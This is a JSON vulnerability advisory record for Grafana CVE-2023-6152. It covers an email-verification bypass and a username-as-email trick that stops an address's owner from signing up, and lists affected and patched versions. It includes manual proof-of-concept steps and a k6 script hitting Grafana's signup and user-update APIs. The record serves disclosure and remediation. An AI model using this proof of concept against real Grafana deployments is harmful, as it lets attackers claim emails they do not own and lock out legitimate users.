{"id":"CVE-2023-6152","aliases":["GHSA-3hv4-r2fm-h27f","BIT-grafana-2023-6152"],"title":"Email Validation Bypass And Preventing Sign Up From Email's Owner","summary":"Email Validation Bypass And Preventing Sign Up From Email's Owner","severity":"medium","cvss":5.4,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","vendor":"grafana","product":"github.com/grafana/grafana","ecosystem":"go","affected":["github.com/grafana/grafana >= 2.5.0, < 9.5.16","github.com/grafana/grafana >= 10.0.0, < 10.0.11","github.com/grafana/grafana >= 10.1.0, < 10.1.7","github.com/grafana/grafana >= 10.2.0, < 10.2.4","github.com/grafana/grafana >= 10.3.0, < 10.3.3"],"patched":["github.com/grafana/grafana 9.5.16","github.com/grafana/grafana 10.0.11","github.com/grafana/grafana 10.1.7","github.com/grafana/grafana 10.2.4","github.com/grafana/grafana 10.3.3"],"published":"2024-02-13","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-3hv4-r2fm-h27f","references":[{"url":"https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-6152"},{"url":"https://github.com/grafana/grafana"},{"url":"https://grafana.com/security/security-advisories/cve-2023-6152"},{"url":"https://security.netapp.com/advisory/ntap-20250214-0008"}],"tags":["osv","go"],"epss":0.01385,"epssPercentile":0.71014,"ingestedAt":"2026-07-09T18:56:35.830Z","slug":"CVE-2023-6152","body":"## Overview\n\n### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: 'per-vu-iterations',\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () => {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.\n\n## Affected packages\n\n- `github.com/grafana/grafana >= 2.5.0, < 9.5.16`\n- `github.com/grafana/grafana >= 10.0.0, < 10.0.11`\n- `github.com/grafana/grafana >= 10.1.0, < 10.1.7`\n- `github.com/grafana/grafana >= 10.2.0, < 10.2.4`\n- `github.com/grafana/grafana >= 10.3.0, < 10.3.3`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/grafana/grafana 9.5.16`\n- `github.com/grafana/grafana 10.0.11`\n- `github.com/grafana/grafana 10.1.7`\n- `github.com/grafana/grafana 10.2.4`\n- `github.com/grafana/grafana 10.3.3`","depth":"sunlit","depthScore":30,"depthScoreParts":{"impact":29.7,"likelihood":0.3,"exploitation":0,"ransomware":0},"changes":[]}